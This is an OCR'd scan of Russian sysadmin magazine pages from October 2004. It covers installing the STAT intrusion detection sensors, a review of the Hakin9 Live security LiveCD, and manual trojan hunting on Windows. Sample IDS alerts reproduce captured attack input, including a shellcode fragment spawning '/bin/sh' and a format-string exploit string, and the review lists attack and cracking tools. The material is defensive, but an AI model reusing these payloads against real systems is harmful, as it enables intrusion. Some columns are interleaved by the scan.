Установка и работа Домашняя страница проекта в Интернете находится по адресу http://www.cs.ucsb.edu/~kemm/netstat.html/projects.html, здесь вы найдете документацию и собственно сам софт. Страница для закачки разбита по приложениям, причем если вы хотите установить только LinSTAT (http://www.cs.ucsb.edu/ ~kemm/netstat.html/software/linstat.html), то на этой странице найдете все необходимые компоненты для удовлетворения зависимостей. Доступны как прекомпилированные rpm-пакеты (для RedHat 7.3), так и исходные тексты. Надо сказать, что в rpm-пакетах можно найти только базовые приложения, да и то, например, модули ядра будут работать только с тем ядром, для которого они компилированы, при использовании в другой системе получите примерно такое сообщение: Starting linuxstat services: insmod: error inserting '/usr/local/stat/sensors/linuxstat_sensor_1.0/auditmodule.o': -1 Invalid module format

Поэтому наиболее общим вариантом будет установка из исходников. Как сказано в документации, для установки достаточно ввести стандартные ./configure, make, make install и все. Но при установке MetaSTAT (с остальными приложениями проблем практически не было) на RedHat 7.3 и 9, SuSE 9.1, Linux XP, Slackware 9.1, проблемы возникали в каждом случае (в RedHat 7.3 и Slackware меньше) поэтому, скорее всего, придется немного повозиться в каждом конкретном случае. Например, такая ошибка преследовала во всех системах. checking for libxml/parser.h... no The STAT Core needs libxml2 headers installed before it can be compiled (note that a link called "libxml" and pointing to "libxml2/libxml" is needed)

Но libxml установлен, ищем, где: # find /usr /opt -name parser.h /usr/include/libxml2/libxml/parser.h

63


безопасность Исправить ситуацию можно так: # ln -s /usr/include/libxml2/libxml /usr/include/libxml

После этого: checking for pthread.h... yes checking libxml/parser.h usability... yes checking libxml/parser.h presence... yes checking for libxml/parser.h... yes

Проблема с glib в SuSE решилась таким образом: MetaSTAT needs glib installed before it can be compiled configure: error: /bin/sh './configure' failed for MetaSTAT

# ln -s /usr/lib/libglib-1.2.so.0.0.10 /usr/lib/libglib-1.2.so

А еще: # ln -s /opt/gnome/lib/libgnome.so.32.4.3 ↵ /opt/gnome/lib/libgnome.so.0 # ln -s /usr/lib/libcrypto.so.0.9.7 /usr/lib/libcrypto.so.2 # ln -s /usr/lib/libssl.so.0.9.7 /usr/lib/libssl.so.2

Смысл, думаю, ясен. Хотя от MetaSTAT можно поначалу отказаться вообще и установить позднее, все компоненты можно использовать отдельно без централизованного управления. А так скачиваем необходимые сенсоры и распаковываем командой tar xzvf название_пакета. После чего в текущем каталоге образуется подкаталог STAT-1.0. При задании команды ./configure без дополнительных параметров будут найдены все распакованные сенсоры, они находятся в STAT-1.0/Sensors/ и можно установить любой из них, просто зайдя в нужный каталог и дав необходимые команды. Либо можно отменить автодетектирование, добавив опцию --disable-autodetect, и затем указать на нужные сенсоры (например, --enable-netstat, --enable-linstat), и нелишней будет опция --enable-java для компиляции Javaкомпонентов. После компиляции и установки появится каталог /usr/local/stat/, в котором собраны все библиотеки сценариев и основные настройки сенсоров. Большинство файлов не требует вмешательства. Для более точной подстройки некоторых датчиков загляните в подкаталог providers, где в подкаталогах соответствующих датчиков найдете файл provider_config. Например, в файле /usr/local/stat/providers/apache_ provider_1.0/provider_config по умолчанию такая запись use_command_line_args, свидетельствующая о том, что параметры берутся с командной строки. А в linuxstat_provider_ 1.0/provider_config занесены файлы и каталоги, доступ к которым будет контролироваться сенсором LinSTAT. Теперь конкретней о некоторых сенсорах и сопутствующих приложениях. Как уже говорилось выше, LinSTAT является версией утилиты аудита системы SNARE (System iNtrusion Analysis and Reporting Environment) с уже настроенными параметрами контроля. После установки в вашем распоряжении будет динамически загружаемый модуль ядра auditmodule.o и три утилиты auditdaemon, linuxstat и praudit. Модуль, работая в пространстве ядра, отлавливает критические системные вызовы вроде «execve» (выполнение команды), «open» (открыть файл), «mkdir» (создать каталог) и отправляет результат к подпрограмме, которая собирает всю

64

информацию относительно процесса и пользователя, его запустившего, или просто попытавшегося выполнить рассматриваемый системный вызов. Модуль сохраняет информацию во временном буфере, который может быть прочитан при помощи auditdaemon или linuxstat. Эти две программы по сути являются пользовательским интерфейсом к auditmodule.o, считываются данные через устройство /proc/ audit. При этом auditdaemon собирает все данные и сохраняет их в бинарном формате в файл (по умолчанию /var/log/ snare/audit), для того чтобы просмотреть события, ее можно извлечь при помощи praudit. #auditdaemon -o /var/log/snare/audit-`date -I` #praudit -c /var/log/snare/audit-2004-09-02 ... EVENT #26: act: READ, time: Thu Sep 2 17:46:59 2004, retcode: 2, exec_args: gpm, pathname: /usr/sbin/gpm, uid: 0, gid: 0, euid: 0, egid: 0, pid: 991, ppid: 1, pwd: /, objname: /dev/tty0, owner: 0, gowner: 0, inode: 36763, dev: 770, perm:rw—w---... End of file /var/log/snare/audit (33 events in 4335 bytes: 131.36 bytes/event)

Утилита linuxstat работает в двух режимах live и offline. В режиме live информация берется непосредственно с /proc/ audit и сразу же анализируется сценариями STAT, в offline анализируется файл, созданный auditdaemon. В live-режиме программу можно запустить так: #linuxstat -name LinSTAT:1.0 -hostname localhost -live

А в offline так: #linuxstat -name LinSTAT:1.0 -hostname localhost ↵ -offline /var/log/snare/audit-2004-09-02

Для примера пробуем занести новые данные в файл /etc/ passwd, в live-режиме система сразу же выдает предупреждающее сообщение. LinSTAT:1.0@09/02/2004 21:32:36: LOG: linux_restricted_write: 500: /etc/passwd written by user 500, program /bin/bash LinSTAT:1.0@09/02/2004 21:32:36: LOG: <IDMEF-Message version="0.3"> <Alert ident="grinder-uUg3vo5" impact="attempted-admin"> <CreateTime ntpstamp="0xC4E1E5C4.0x6AFB1CF5"> 2004-09-02T18:32:36Z</CreateTime> <Classification origin="unknown"> <name>restricted_dir_write</name> <url>http://www.cs.ucsb.edu/~rsg/STAT</url> </Classification> <Analyzer analyzerid="LinSTAT:1.0:192.168.1.1"> <Process><name>LinSTAT:1.0</name> </Process><Node><Address category="ipv4-addr"> <address>192.168.1.1</address> </Address></Node></Analyzer> <Source spoofed="unknown"> <User><UserId type="current-user"> <name>sergej</name> <number>500</number> </UserId> <UserId type="current-group"> <name>500</name></UserId></User> <Process><name>bash</name> <path>/bin/bash</path> <pid>22002</pid></Process> </Source> <Target><Process><name></name> <path>/etc/passwd</path></Process></Target> <AdditionalData type="string" meaning="ustat:target_directory"> /etc/</AdditionalData> <AdditionalData type="string" meaning="ustat:target_file">


безопасность passwd</AdditionalData> </Alert> </IDMEF-Message>

Для запуска при старте системы используется скрипт /etc/init.d/linstat, который берет данные из файла /etc/sysconfig/ linuxstat. В этих файлах можно изменить параметры запуска и месторасположение исполняемых и файлов отчетов. # /etc/init.d/linstat start_lin LinSTAT:1.0@09/02/2004 15:37:54: LOG: <IDMEF-Message> <x-stat from="xstat@localhost" to="stat-controller@ahost.stattest.com"> <x-stat_info id="1" return_value="0" return_string="OK" scenario_id="2"> </x-stat_info> </x-stat> </IDMEF-Message>

Сенсор webSTAT анализирует логи веб-сервера Apache, после установки будет доступна только одна утилита – webstat, которая и принимает в качестве аргумента логфайл. Работает также в двух режимах offline и live. Первый реализуется опцией [-auditfile | -a]: # webstat -a /var/log/apache2/access_log

Второй при помощи опции [-interface | -i]: #webstat -i /var/log/apache2/access_log

Теперь для контроля работы набираем в строке браузера: http://server/cgi-bin, после чего система выдает сообщение: webstat@localhost@08/26/2004 11:36:18: LOG: apache_regex_xml: 26/Aug/2004:11:36:18 +0300 : First Bad Request "GET /cgi-bin/ HTTP/1.1" :From 192.168.0.1 :Attack: cgi_dir

p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~ p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~ p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~ p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~ p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~ p~p~p~p~p~p~p~p~p~p1???^g?_~mo^g~mq^l~iq^d~mq^\~iq^h ~ia^\1?i^q1?a^\^pf?@?@y^l^bu^d<^at^m?@^a}???~@~i??0??@?@^cu? i1??hc^g~i[^h~mk^h~ic^l^k?@1??~@?t/bin/sh' logstat@localhost@01/09/2004 22:13:04: LOG: syslog_bufferoverflow:

Датчик NetSTAT также может работать в двух режимах. Если запустить с указанием сетевого интерфейса, то будут контролироваться проходящие через него пакеты: #netstat -i eth0 Got UDP port unreachable 192.168.0.1 48361 -> 192.168.0.20 1 Inside tcpprobe, generating Half Open event attacker: 192.168.0.1, attackerport: 48370, victim: 192.168.0.1, victimport:22 <response sensor="netstat@localhost" scenario="proto_30" scenario_id="201" instance_id="665" from="logging" transition"inactive" to="end"> <data>CLASSIFICATION_NAME="tcpsweep"</data> <data>CLASSIFICATION_URL="http://www.cs.ucsb.edu/~rsg"</data> <data>SOURCE_NODEADDRESS="192.168.0.1"</data> <data>SOURCE_PORT="48361"</data> <data>TARGET_NODEADDRESS="192.168.0.20"</data> <data>ADDITIONAL_DATA="Alert only contains last attacker"</data> <data>threshold="3"</data> <data>timeout="3"</data> <data>victims=""</data> <data>victim_address="335587520"</data> <data>total_probed="1488"</data> <data>addr_probes=""</data> <data>t1="1"</data> </response>

И как входные данные можно использовать информацию, собранную внешней утилитой, например tcpdump. #netstat -a tcpdump_file

При повторной попытке: webstat@localhost@08/26/2004 11:37:34: LOG: apache_regex_xml: 26/Aug/2004:11:37:34 +0300 : Subsequent Bad Request "GET /cgi-bin/ HTTP/1.1" :From 192.168.0.1 :Attack: cgi_dir

Обратите внимание, что система различает первую и последующие попытки одной и той же атаки. Использование сенсора logSTAT аналогично предыдущему: #logstat -i /var/log/messages -i /var/log/secure

либо: #logstat -a /var/log/messages -a /var/log/secure [Sun Aug 29 10:01:56 2004] : Facility : kernel: First Occurance : eth0: setting promiscuous mode. logstat@localhost@29/08/2004 12:01:57: LOG: syslog_watch: [Sun Aug 29 11:01:16 2004]: Facility : sshd[7717]: First Occurance : failed password for root from 192.168.0.20 port 22 ssh2 [Sun Aug 29 11:01:16 2004]: Facility : server[23101]: Subsequent Occurance : dispatch_input: bad request line 'aa~m?~n?~o?~p?%.236u%304$n%.217u%305$n%.6u%306$n%.192u% 307$n~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~ p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~ p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~ p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~

№10(23), октябрь 2004

Для удобства параметры можно занести в provider_config: interface eth0

или auditfile /audit/file.tcpdump

Принцип работы остальных сенсоров STAT аналогичен и, думаю, ясен. К сожалению, STAT только-только выбрался из концептуального состояния и еще не успел обзавестись полноценными средствами сбора и вывода данных, так что их придется создавать самому, а поэтому о массовом использовании разговор пока не идет. Проведенные тестовые испытания подтвердили жизненность методики STAT, были обнаружены не только уже известные атаки, но и тестировались уязвимости обнаруженные, после того как система была установлена, но все равно в отчетах одного из сенсоров появлялось предупреждающее сообщение. В этом проявляется одна из основных достоинств STAT, т.е. работающая IDS фактически не требует никаких обновлений и может эксплуатироваться большой промежуток времени без внимания администратора. Остается надеяться, что наработки не пропадут даром. Успехов.

65


администрирование

HAKIN9 LIVE

СЕРГЕЙ ЯРЕМЧУК Появление LiveCD-дистрибутивов GNU/Linux не только порадовало поклонников этой системы, но и было оценено администраторами, отвечающими за безопасность сети. Конечно же, можно нанять для этой цели и специалистов со стороны, что в принципе более правильно, т.к. при помощи сканеров все равно невозможно выявить все недостатки, но не все могут позволить себе такую роскошь. Да и следить за безопасностью необходимо не время от времени, а постоянно, и поэтому хочется иметь готовый инструмент, позволяющий оценить все самому. LiveCD-дистрибутивы позволяют сделать необходимый инструмент буквально на все случаи жизни, и эта особенность не могла остаться незамеченной у специалистов по компьютерной безопасности. Польский журнал Hakin9 ориентирован на читателя, отвечающего за защиту компьютерных систем, программистов, специалистов по безопасности и администраторов, а также на людей, занимающихся проблемами безопасности компьютеров и сетей в свободное время. Предлагаемый им дистрибутив Hakin9 Live (http://www.haking.pl/en/index.php? page=hakin9_live), основанный на другом польском дистрибутиве Aurox Live (http://www.aurox.org/en), содержит все необходимые инструментальные средства и материалы, необходимые для проверки на практике методик и технологий, описанных в статьях журнала. И для этого дистрибутив включает в себя огромный набор утилит и инструментов для тестирования систем на уязвимость (как локальных, так и удаленных). В использовании Hakin9 Live в принципе не очень отличается от других подобных дистрибутивов, необходимо ска-

66

чать с одного из зеркал, указанных на сайте, iso-образ размером 300 Мб, записать его на болванку и загрузиться, присутствие жесткого диска необязательно. При загрузке можно передать ядру некоторые параметры, например, режим загрузки framebuffer fb800 и fb1024 или без него nofb, текстовый режим – text и прочие. Но в большинстве случаев вмешательство пользователя необязательно. Необходимо отметить, что локализован Hakin9 Live пока только на польский (по умолчанию), немецкий, французский, испанский, чешский, но русский язык в списке отсутствует. Не знаю, считать ли это недостатком, все равно большая часть предлагаемых утилит консольные, и знание английского в подобных случаях просто обязательно. Начиная с версии 2.0, в дистрибутиве используется оконный менеджер XFce4, в более ранних – fluxbox. После загрузки необходимо зарегистрироваться как пользователь root или haking без пароля. Помнится, как распекали SuSE Linux 9.1 LiveCD именно по этой причине, поэтому, если планируется работа в Интернете, обязательно установите пароль при помощи passwd, иначе проникнуть в компьютер труда особого не составит. Дистрибутив поддерживает большинство сетевых устройств, и некоторые пытается настроить автоматически. Если сеть не удалось настроить при помощи DHCP, настраиваем ее вручную. Для этого воспользуемся командами ifconfig и route. #ifconfig eth0 192.168.0.20 netmask 255.255.255.0 #route add default gw 192.168.0.254

И заносим в /etc/resolv.conf имя ближайшего сервера имен. Например:


администрирование nameserver 192.168.0.254

Те, кто не привык к ручной набивке команд, могут воспользоваться графическими netconfig, netcardconfig или redhat-config-network. После чего выполняем. #/etc/init.d/network restart

Aurox Live базируется на RedHat, и поэтому в Hakin9 Live можно найти конфигурационные утилиты, специфичные для данного дистрибутива, в том числе возможно использование rpm, но именно по этой причине этот дистрибутив может подойти новичкам, еще не знающим всех тонкостей UNIX-систем. Особенностью дистрибутива является отсутствие автоматического сохранения настроек, поэтому о сохранении всего необходимого придется позаботиться самому, сохранив их на дискету или в любой раздел жесткого диска, которые автоматически система находит и монтирует при загрузке. Ссылки на все основные инструменты для удобства пользователя собраны в каталоге /usr/local/bin/tools/, куда можно перейти в том числе и из отдельного пункта меню. Здесь полный набор, включающий наработки известных хакерских групп: ! Утилиты анализа защищенности и работы в сети: iptables, tcpdump, tcpflow, tcpslice, сканеры – nmap с nmapfe, amap (Application MAPper), gps (Ghost Port Scan, хорошая утилита для проверки правил firewall), exscan, siphon, nbtscan, jwhois, iptraf (IP Network Statistics Utility), nessus, Snort,

№10(23), октябрь 2004

strobe, traceroute, ethereal, tethereal, cold (Computerized Ordinary LAN Dumper), p0f, panda309 (простая скоростная утилита для удаленного определения ОС), sentinel, vmap, mtr, fping, hping2, hping3, queso, dnstracer, arp, arping, arp-watch, ether-wake, netcat, ftp, ssh, веб-браузеры Links и Mozilla Firebird, набор утилит для работы с kerberos. ! Утилиты анализа и повышения защищенности системы – john the ripper, позволяющий оценить пароли на прочность, весь набор утилит The Coroner’s Toolkit с инструментом визуализации Autopsy Forensic Browser, о котором журнал уже писал. И конечно же, найдете все утилиты, присущие любой Linux-системе, что позволяет использовать Hakin9 Live и для спасательных целей. И в дополнение целый ряд других не менее интересных утилит, например стенографическая утилита MP3Stego (http://www.cl.cam.ac.uk/~fapp2/ steganography/mp3stego/), позволяющая спрятать информацию в музыкальный mp3-файл. Разработчики полностью сохранили документацию в виде man-страниц плюс написали свою, что позволяет быстро разобраться в работе с системой и незнакомыми утилитами, но на сайте, к сожалению, информации практически нет. Вот кратко и все. Сравнивать с другими подобными дистрибутивами смысла, я думаю, нет, т.к. каждый из них ориентирован под определенные задачи и соответственно пользователя, который будет с ним работать. Это довольно хороший и удобный инструмент администратора и для пользователей, желающих освоиться в UNIX или желающих разобраться в проблемах безопасности.

67


безопасность

конкурсная статья

ПОИСК ТРОЯНОВ ВРУЧНУЮ

ДЕНИС БАТРАНКОВ В этой статье вы найдете ответы на следующие вопросы:

! Что делать, если вы предполагаете, что на вашем компьютере с Windows установлена программа-шпион или троян? ! Как найти троянскую программу или spyware, если ваш антивирус или AdWare ее не находит? Статья для начинающих системных администраторов и опытных пользователей Windows описывает возможные способы поиска троянских программ и также описывает, как использовать для этого поиска программы и утилиты из стандартной поставки Windows 2000, XP и 2003 и программы сторонних разработчиков: netstat, msconfig, msinfo32, tlist, Sysinternals TCPView, CurrPorts, WinTasks, Security Task Manager, Starter, Winpatrol, Sysinternals Autoruns, Sysinternals ProcessExplorer, MoveOnBoot, Microsoft PortReporter, System Safety Monitor. Если коротко описать процесс поиска программы, выполняющей нежелательные действия, то алгоритм обычно такой: ! Обновить базу данных установленного на вашем компьютере антивируса и проверить им все локальные диски. (Если антивируса нет, то установить его.) Вам нужно осознавать, что если антивирус не обнаружил троянов, то это не значит, что их у вас нет. На компьютере может работать свежий троян или специально подготовленная для вас программа-шпион, которой еще нет в базах ни одной компании производителя антивируса. И, возможно, вы тот человек, который первым выявит и пошлет эту программу для исследования в антивирусную компанию. ! Посмотреть, какие процессы работают на компьютере и какие соединения с Интернетом ими используются. Возможно, на диске появились новые файлы, возможно, старые файлы изменились. Возможно, в реестре появились новые ключи или параметры.

68

! Просмотреть логи персонального firewall. Если firewall не смог заблокировать несанкционированные соединения трояна в силу своей недостаточной функциональности или неправильной настройки, то есть надежда, что он хотя бы запротоколировал, какие соединения были пропущены в Интернет. Если хорошего персонального firewall нет, то хотя бы включите встроенный в Windows XP firewall, который называется ICF (как это сделать, описано на http://www.microsoft.com/rus/windowsxp/ using/howto/networking/icf.asp). Протоколы встроенного firewall можно посмотреть с помощью любого текстового редактора, открыв файл C:\WINDOWS\ pfirewall.log. Но лучше использовать более удобные утилиты, ссылки на которые легко найти при помощи Google (например, набрав в строке поиска «XP firewall logger»). Первый пункт достаточно понятен и помогает в 80% случаев. За третий пункт нужно браться в самом запущенном случае и еще лучше со специалистом по компьютерной безопасности (далее КБ). Давайте попробуем выполнить действия, описанные во втором пункте. Тем более что при внимательном выполнении всех операций можно найти и убить любую гадость, засевшую в вашем компьютере. Возникает вопрос, нужно ли отключаться от Интернета, если мы ищем вирус или троян? Вам понадобятся различные утилиты для поиска трояна (какие конкретно будет описано далее). Если эти утилиты уже есть или на жестком диске, или на компакт-диске, или у вас есть возможность сходить за нужными дисками, или скачать и записать на компакт-диск нужные программы на другом незараженном компьютере, то необходимо отключиться от Сети. Это нужно сделать, чтобы предотвратить дальнейшую утечку информации с компьютера. Отключаться нужно даже от локальной сети, например, сети офиса или домашней сети, чтобы не заражать соседние компьютеры. Однако иногда встречаются особо запущенные случаи,


безопасность в которых приходится скачивать нужные программы через Интернет. Например, я однажды приехал в гости к родственникам в Сибирь, обрадовался наличию компьютера с модемным доступом к Интернету, сел за него и, нажав по привычке <Ctrl-Alt-Del>, сразу обнаружил трояна в списке процессов. Поскольку нужных программ под рукой не было, пришлось лечить вручную. Единственной «защитой» этого компьютера с Windows XP был гордо стоящий антивирус с базами вирусов двухгодичной давности. В Windows даже не был включен ICF. К сожалению, подавляющее большинство пользователей неопытны и несведущи в вопросах компьютерной безопасности. Компьютеры на платформе Intel и операционная система Windows являются высокотехнологичными продуктами. Ведь даже среди тех, кто пользуется общеизвестной программой Microsoft Word, не так много людей, кто изучал его на курсах или хотя бы читал к нему документацию. Что тут говорить про образованность в области компьютерной безопасности. К каждому пользователю специалиста по компьютерной безопасности не приставишь. Поэтому на таких компьютерах все подготовительные мероприятия их владельцы будут делать сами при работающем трояне и подключенном Интернете, поскольку Интернет – единственное место, где они могут найти помощь и программное обеспечение для поиска троянов. Тем более чего им бояться – все важное троян уже наверняка украл и отослал своему владельцу. Но даже в этом случае, после того как вы скачали все необходимые утилиты на локальный диск, нужно отключиться от Сети. Итак, боевая задача состоит в том, чтобы успешно пройти три этапа: найти трояна, убить его и поменять свои украденные пароли. Именно в такой последовательности. Замечание: программа в операционной системе Windows представлена в виде процесса, в котором может работать несколько нитей, и все эти нити загружены в память из файлов, хранящихся на диске. Как правило, это файлы с расширением EXE и DLL. Расширения могут быть и другими. Злоумышленники часто используют другие расширения, чтобы никто не догадался. Некоторыми проявлениями троянских программ являются: ! несанкционированные соединения c различными хостами в Интернете; ! открытые программами соединения, ожидающие подключения извне; ! попытка открыть ненужные для нормальной деятельности файлы на локальном диске; ! добавление себя в списки автозапуска; ! маскировка под стандартные системные процессы и размещение в системной папке Windows.

Находим троянскую программу, которая ждет входящего соединения Обычно авторы таких программ называют свои программы «программами удаленного управления». Типичной иллюстрацией этого вида троянских программ является Back Orifice (см. описание http://www.viruslist.com/viruslist.html?id= 3957&gloss=8227). Такие программы позволяют делать на

№10(23), октябрь 2004

вашем компьютере все что угодно: скачивать файлы, рассылать спам, быть прокси-сервером, участвовать в DOSатаке, быть плацдармом для других атак, естественно, в рамках функций, предоставляемых им имеющейся операционной системой. В данном случае мы рассматриваем версии Windows: 2000 SP4, XP SP1, 2003. Такие программы открывают TCP-порт на компьютере жертвы, устанавливают его в состояние LISTENING и ждут, когда хакер подключится на этот порт. Таким образом, нам нужно выявить все процессы, которые открыли TCP-порты и которые находятся в состоянии LISTENING, и решить, одобряете ли вы это соединение или нет. То же самое можно сказать про UDP-порты – за ними тоже надо смотреть, с единственным отличием, что у них нет состояний – с этих портов может как приниматься информация, так и отсылаться. С ходу можно сказать, что если у вас обычный компьютер, подключенный к выделенной линии или через модем в Интернет, то в идеале у вас не дожно быть слушающих портов. Даже если приложения или сервисы Windows открыли эти порты, то они должны быть закрыты персональным firewall. Чтобы выявить программы, которые ожидают (и устанавливают) соединения в Windows XP и Windows 2003, можно, конечно, воспользоваться стандартной утилитой netstat c параметрами -ano. (Параметр -а заставляет netstat показывать все имеющиеся подключения и ожидающие порты, -n преобразует вывод адресов и портов в числовой формат, -o отображает для каждого подключения идентификатор процесса, создавшего это подключение). В Windows 2000 ключ -o еще не был изобретен. Например: C:\Documents and Settings\User>netstat -ano Активные подключения Имя TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP

Локальный адрес 0.0.0.0:135 0.0.0.0:445 0.0.0.0:1025 0.0.0.0:4928 0.0.0.0:4929 0.0.0.0:4946 0.0.0.0:6213 0.0.0.0:6218 0.0.0.0:6247 0.0.0.0:6253 0.0.0.0:6299 0.0.0.0:6344 0.0.0.0:9762 0.0.0.0:10641 0.0.0.0:10676 0.0.0.0:10892 127.0.0.1:111 127.0.0.1:143 127.0.0.1:3044 127.0.0.1:3045 127.0.0.1:3046 127.0.0.1:3085 127.0.0.1:5335 127.0.0.1:8888

Внешний адрес 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0

Состояние LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING

PID 856 4 1028 3660 3660 3660 3660 3660 3660 3660 3660 3660 2324 2884 2324 2324 2676 2676 1608 1028 1028 2324 3232 3232

Результат, как видите, аскетичен: порты, конечно, выводятся, но вместо информации о приложениях выдается только номер процесса. Хотелось бы еще узнать имя процесса и местоположение файла, из которого он был запущен. Но давайте хотя бы разберемся с тем, что уже есть. Если вы увидели у себя много TCP-соединений в состоянии LISTENING, то не пугайтесь – это, скорее всего, не трояны, а работающие по умолчанию стандартные сервисы Windows.

69


безопасность Алгоритм просмотра ожидающих соединений такой:

! Отметаем все соединения, у которых локальный адрес установлен 127.0.0.1 – это означает, что к этим портам может подключиться только программа, запущенная на этом же компьютере. Подключение извне к этому порту и адресу невозможно. ! Адрес 0.0.0.0 означает, что любое подключение по любому IP-адресу, который есть на вашем компьютере, с любого хоста Интернета будет возможно на указанный порт. Напомню, что на одной сетевой карте может быть несколько IP-адресов. Не говоря уже о том, что у вас может быть и несколько сетевых карт. ! В некоторых ожидающих соединениях вы увидите те, у которых явно указан IP-адрес одной из ваших сетевых карт. К ним также возможно подключиться из Интернета через указанный порт. Получается, что для всех ожидающих соединений из последних двух пунктов нам нужно узнать, какое приложение создало это подключение, и нужно ли это вам. Следующим этапом является установление имени приложения, использующего это соединение. Очевидно, результат команды netstat -ano в виде идентификатора процесса нас не устраивает, поскольку, пользуясь стандартными средствами графического интерфейса и командной строки Windows, невозможно получить по номеру процесса его имя и тем более имя исполняемого файла. Конечно, можно самому написать программу, которая выполняет такие действия, но, к счастью, в Сети уже есть приложения, которые делают то, что нам нужно. Тем более что в статье Microsoft Knowledge Base Article – 816944 (http://support.microsoft.com/default.aspx?scid=kb;enus;816944) сами сотрудники фирмы Microsoft советуют пользоваться такими программами, как TCPView (http:// www.sysinternals.com/ntw2k/source/tcpview.shtml) и FPort (http://www.foundstone.com/knowledge/proddesc/fport.html). Я, однако, советую другую программу, которая называется CurrPorts (http://freehost14.websamba.com/nirsoft/utils/ cports.html). FPorts плох тем, что работает только в командной строке и ничего не умеет, кроме показа имени процесса и открытых им портов. TCPView – отличная программа, позволяет закрыть соединение и убить процесс, но CurrPorts более функциональна: ко всему перечисленному выводит больше информации о процессе, показывает соответству-

Ðèñóíîê 2

70

ющие процессу сервисы, позволяет делать HTML-отчеты. Все эти программы бесплатны. Замечание: на самом деле для просмотра процессов и их идентификаторов можно воспользоваться программой tlist.exe из файла support.cab, лежащего на каждом лицензионном диске Windows. К сожалению, эта программа не устанавливается по умолчанию. Сравните TCPView и CurrPorts (рис. 1 и рис. 2).

Ðèñóíîê 1

CurrPort может с промежутками в 2 секунды показывать программы, использующие открытые порты (лучше сказать, сокеты). К сожалению, соединения происходят достаточно быстро и практически невозможно отследить все соединения в реальном времени. Для выявления несанкционированных подключений нужно протоколировать все соединения и потом просматривать полученные записи. Отлично, берем CurrPorts, получаем список процессов, которые что-то слушают во внешнем мире или даже соединяются с внешним миром. Что дальше? Ведь получается, что вам нужно хорошо знать свой компьютер, а точнее, что за программы вы установили и как они называются, да еще понимать, что программа c:\windows\system32\svchost.exe – системная программа Windows (см. описание http://www.liutilities.com/ products/wintaskspro/processlibrary/svchost), а например, c:\windows\svchost.exe – уже непонятно откуда взявшаяся программа под этим именем (например, это может быть вирус, см. описание здесь: http://us.mcafee.com/virusInfo/ default.asp?id=description&virus_k=100277). Просто хакер


безопасность скрыл под именем системного файла свою программу и положил ее в системную папку. Итак, что делать, если вы нашли незнакомый процесс? Есть такая услуга: идентификация процесса по имени. Существуют сайты, на которых выложен список процессов, чаще всего встречающихся в операционной системе Windows. Таким образом, по имени процесса вы можете понять, для чего он нужен на вашем компьютере, какие порты он обычно использует, и сравнить с данными CurrPorts. Например, http://www.liutilities.com/products/wintaskspro/ processlibrary. Для примера попробуйте посмотреть описание svchost.exe: http://www.neuber.com/taskmanager/process/ svchost.exe.html. Кроме того, можно набрать в поисковой машине имя процесса и номер порта – вероятнее всего, вы найдете место, где описывается этот процесс или где описывается этот вирус или троян. Но лучше всего купить соответствующие продукты, которые помогут вам идентифицировать процессы без подключения к Интернету: например, WinTasks Pro (http://www.liutilities.com/products/wintaskspro) или Security Task Manager (http://www.neuber.com/task manager/index.html). Таким образом, вы, пользуясь маленькой утилитой, нашли процессы, которые зачем-то слушают порты, и при помощи Интернета поняли, что это за процессы и нужно ли их удалять с диска. Если вы не уверены точно, что за процесс работает на вашем компьютере, обращайтесь к специалистам. Их можно найти в форумах, например, на www.securitylab.ru/forum. Необходимо понимать, что многие трояны прячутся под именами системных процессов, чтобы их невозможно было убить из менеджера задач. Но CurrPorts благополучно убивает и системные процессы. Будьте осторожнее – умирание системного процесса может привести к зависанию или перезагрузке компьютера.

Другим вариантом такого ручного поиска процесса является просмотр всех процессов с помощью последней версии программы Sysinternals Process Explorer (http://www.sys internals.com/ntw2k/freeware/procexp.shtml) (рис. 4). Одной из полезных функций данной программы является просмотр свойств каждого процесса, где показаны используемые этим процессом порты. Например, операционная система использует:

Ðèñóíîê 3

Открытый слушающий порт 445 означает, что система может предоставлять доступ к дискам посредством протокола SMB (Server Message Broadcast), также известного под названием CIFS (Common Internet File System) через Интернет. Неправильное конфигурирование этого сервиса может привести к возможности чтения системных и других файлов третьими лицами и захвату контроля над системой. Значительное количество пользователей открывают локальные диски для чтения и записи по сети для упрощения обмена информацией, давая также возможность и третьим лицам работать с их системами. Если вы не хотите, чтобы кто-то изучал ваши диски или даже вносил изменения в данные, хранящиеся на них, то лучше отключить этот сер-

Ðèñóíîê 4

№10(23), октябрь 2004

71


